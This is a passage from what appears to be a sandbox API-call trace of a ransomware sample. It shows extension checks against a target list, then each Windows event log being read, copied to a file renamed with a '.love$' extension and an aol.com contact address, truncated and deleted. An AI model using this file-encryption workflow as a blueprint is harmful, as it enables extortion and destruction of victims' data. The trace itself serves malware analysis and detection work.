(lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0122.536] lstrlenW (lpString=".doc") returned 4 [0122.536] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.536] lstrlenW (lpString=".docx") returned 5 [0122.536] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.536] lstrlenW (lpString=".pdf") returned 4 [0122.536] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.536] lstrlenW (lpString=".xls") returned 4 [0122.536] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.536] lstrlenW (lpString=".xlsx") returned 5 [0122.536] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.536] lstrlenW (lpString=".ppt") returned 4 [0122.536] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.536] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0122.536] lstrlenW (lpString=".zip") returned 4 [0122.536] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.536] lstrlenW (lpString=".rar") returned 4 [0122.536] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.536] lstrlenW (lpString=".bz2") returned 4 [0122.536] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.536] lstrlenW (lpString=".7z") returned 3 [0122.536] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.536] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0122.536] lstrlenW (lpString=".dbf") returned 4 [0122.536] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0122.537] lstrlenW (lpString=".1cd") returned 4 [0122.537] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0122.537] lstrlenW (lpString=".jpg") returned 4 [0122.537] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0122.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0122.537] lstrlenW (lpString=".doc") returned 4 [0122.537] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.537] lstrlenW (lpString=".docx") returned 5 [0122.537] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.537] lstrlenW (lpString=".pdf") returned 4 [0122.537] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.537] lstrlenW (lpString=".xls") returned 4 [0122.537] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.537] lstrlenW (lpString=".xlsx") returned 5 [0122.537] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.537] lstrlenW (lpString=".ppt") returned 4 [0122.537] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0122.537] lstrlenW (lpString=".zip") returned 4 [0122.537] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.537] lstrlenW (lpString=".rar") returned 4 [0122.537] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.537] lstrlenW (lpString=".bz2") returned 4 [0122.537] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.538] lstrlenW (lpString=".7z") returned 3 [0122.538] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0122.538] lstrlenW (lpString=".dbf") returned 4 [0122.538] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0122.538] lstrlenW (lpString=".1cd") returned 4 [0122.538] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0122.538] lstrlenW (lpString=".jpg") returned 4 [0122.538] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.538] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0122.538] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46 [0122.538] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0122.539] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0122.539] CloseHandle (hObject=0x380) returned 1 [0122.539] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0122.539] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.539] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0122.539] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.539] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.539] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0122.540] GetLastError () returned 0x0 [0122.540] ReadFile (in: hFile=0x380, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.684] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.689] ReadFile (in: hFile=0x380, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.690] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x130, lpOverlapped=0x0) returned 1 [0122.691] SetEndOfFile (hFile=0x354) returned 1 [0122.692] CloseHandle (hObject=0x354) returned 1 [0122.697] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.697] SetEndOfFile (hFile=0x380) returned 1 [0122.698] CloseHandle (hObject=0x380) returned 1 [0122.699] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.700] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0122.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0122.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0122.701] lstrlenW (lpString=".doc") returned 4 [0122.701] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.701] lstrlenW (lpString=".docx") returned 5 [0122.701] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.701] lstrlenW (lpString=".pdf") returned 4 [0122.701] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.701] lstrlenW (lpString=".xls") returned 4 [0122.701] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.701] lstrlenW (lpString=".xlsx") returned 5 [0122.701] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.701] lstrlenW (lpString=".ppt") returned 4 [0122.701] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0122.701] lstrlenW (lpString=".zip") returned 4 [0122.701] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.701] lstrlenW (lpString=".rar") returned 4 [0122.701] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.702] lstrlenW (lpString=".bz2") returned 4 [0122.702] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.702] lstrlenW (lpString=".7z") returned 3 [0122.702] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0122.702] lstrlenW (lpString=".dbf") returned 4 [0122.702] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0122.702] lstrlenW (lpString=".1cd") returned 4 [0122.702] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0122.702] lstrlenW (lpString=".jpg") returned 4 [0122.702] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0122.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0122.702] lstrlenW (lpString=".doc") returned 4 [0122.702] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.702] lstrlenW (lpString=".docx") returned 5 [0122.702] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.702] lstrlenW (lpString=".pdf") returned 4 [0122.702] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.702] lstrlenW (lpString=".xls") returned 4 [0122.702] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.702] lstrlenW (lpString=".xlsx") returned 5 [0122.702] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.702] lstrlenW (lpString=".ppt") returned 4 [0122.702] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0122.702] lstrlenW (lpString=".zip") returned 4 [0122.702] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.702] lstrlenW (lpString=".rar") returned 4 [0122.702] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.702] lstrlenW (lpString=".bz2") returned 4 [0122.702] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.702] lstrlenW (lpString=".7z") returned 3 [0122.703] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0122.703] lstrlenW (lpString=".dbf") returned 4 [0122.703] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0122.703] lstrlenW (lpString=".1cd") returned 4 [0122.703] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0122.703] lstrlenW (lpString=".jpg") returned 4 [0122.703] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.703] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0122.703] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42 [0122.703] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0122.754] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0122.754] CloseHandle (hObject=0x2b8) returned 1 [0122.754] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0122.754] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.754] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0122.755] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.755] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.755] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0122.755] GetLastError () returned 0x0 [0122.755] ReadFile (in: hFile=0x2b8, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.759] WriteFile (in: hFile=0x3a0, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.762] ReadFile (in: hFile=0x2b8, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.762] WriteFile (in: hFile=0x3a0, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x128, lpOverlapped=0x0) returned 1 [0122.762] SetEndOfFile (hFile=0x3a0) returned 1 [0122.762] CloseHandle (hObject=0x3a0) returned 1 [0123.076] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.076] SetEndOfFile (hFile=0x2b8) returned 1 [0123.078] CloseHandle (hObject=0x2b8) returned 1 [0123.078] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0123.078] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0123.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0123.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0123.079] lstrlenW (lpString=".doc") returned 4 [0123.079] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.079] lstrlenW (lpString=".docx") returned 5 [0123.079] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.079] lstrlenW (lpString=".pdf") returned 4 [0123.079] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.079] lstrlenW (lpString=".xls") returned 4 [0123.079] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.079] lstrlenW (lpString=".xlsx") returned 5 [0123.079] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.079] lstrlenW (lpString=".ppt") returned 4 [0123.079] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0123.079] lstrlenW (lpString=".zip") returned 4 [0123.079] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.079] lstrlenW (lpString=".rar") returned 4 [0123.080] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.080] lstrlenW (lpString=".bz2") returned 4 [0123.080] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.080] lstrlenW (lpString=".7z") returned 3 [0123.080] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0123.080] lstrlenW (lpString=".dbf") returned 4 [0123.080] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0123.080] lstrlenW (lpString=".1cd") returned 4 [0123.080] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0123.080] lstrlenW (lpString=".jpg") returned 4 [0123.080] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0123.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0123.080] lstrlenW (lpString=".doc") returned 4 [0123.080] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.080] lstrlenW (lpString=".docx") returned 5 [0123.080] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.081] lstrlenW (lpString=".pdf") returned 4 [0123.081] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.081] lstrlenW (lpString=".xls") returned 4 [0123.081] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.081] lstrlenW (lpString=".xlsx") returned 5 [0123.081] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.081] lstrlenW (lpString=".ppt") returned 4 [0123.081] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0123.081] lstrlenW (lpString=".zip") returned 4 [0123.081] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.081] lstrlenW (lpString=".rar") returned 4 [0123.081] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.081] lstrlenW (lpString=".bz2") returned 4 [0123.081] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.081] lstrlenW (lpString=".7z") returned 3 [0123.081] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0123.081] lstrlenW (lpString=".dbf") returned 4 [0123.081] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0123.081] lstrlenW (lpString=".1cd") returned 4 [0123.081] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0123.081] lstrlenW (lpString=".jpg") returned 4 [0123.082] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.082] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0123.082] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66 [0123.082] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0123.082] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0123.082] CloseHandle (hObject=0x2b8) returned 1 [0123.082] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0123.083] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.083] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0123.083] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.083] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.083] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.083] GetLastError () returned 0x0 [0123.083] ReadFile (in: hFile=0x2b8, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0123.087] WriteFile (in: hFile=0x3a0, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0123.090] ReadFile (in: hFile=0x2b8, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.090] WriteFile (in: hFile=0x3a0, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x158, lpOverlapped=0x0) returned 1 [0123.090] SetEndOfFile (hFile=0x3a0) returned 1 [0123.090] CloseHandle (hObject=0x3a0) returned 1 [0123.097] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.097] SetEndOfFile (hFile=0x2b8) returned 1 [0123.098] CloseHandle (hObject=0x2b8) returned 1 [0123.098] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0123.099] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0123.099] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0123.099] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0123.099] lstrlenW (lpString=".doc") returned 4 [0123.099] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.099] lstrlenW (lpString=".docx") returned 5 [0123.100] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.100] lstrlenW (lpString=".pdf") returned 4 [0123.100] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.100] lstrlenW (lpString=".xls") returned 4 [0123.100] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.100] lstrlenW (lpString=".xlsx") returned 5 [0123.100] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.100] lstrlenW (lpString=".ppt") returned 4 [0123.100] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.100] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0123.100] lstrlenW (lpString=".zip") returned 4 [0123.100] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.100] lstrlenW (lpString=".rar") returned 4 [0123.100] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.100] lstrlenW (lpString=".bz2") returned 4 [0123.100] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.100] lstrlenW (lpString=".7z") returned 3 [0123.100] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.100] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0123.100] lstrlenW (lpString=".dbf") returned 4 [0123.100] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.100] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0123.100] lstrlenW (lpString=".1cd") returned 4 [0123.100] lstrcmpiW (lpString1=".1cd", 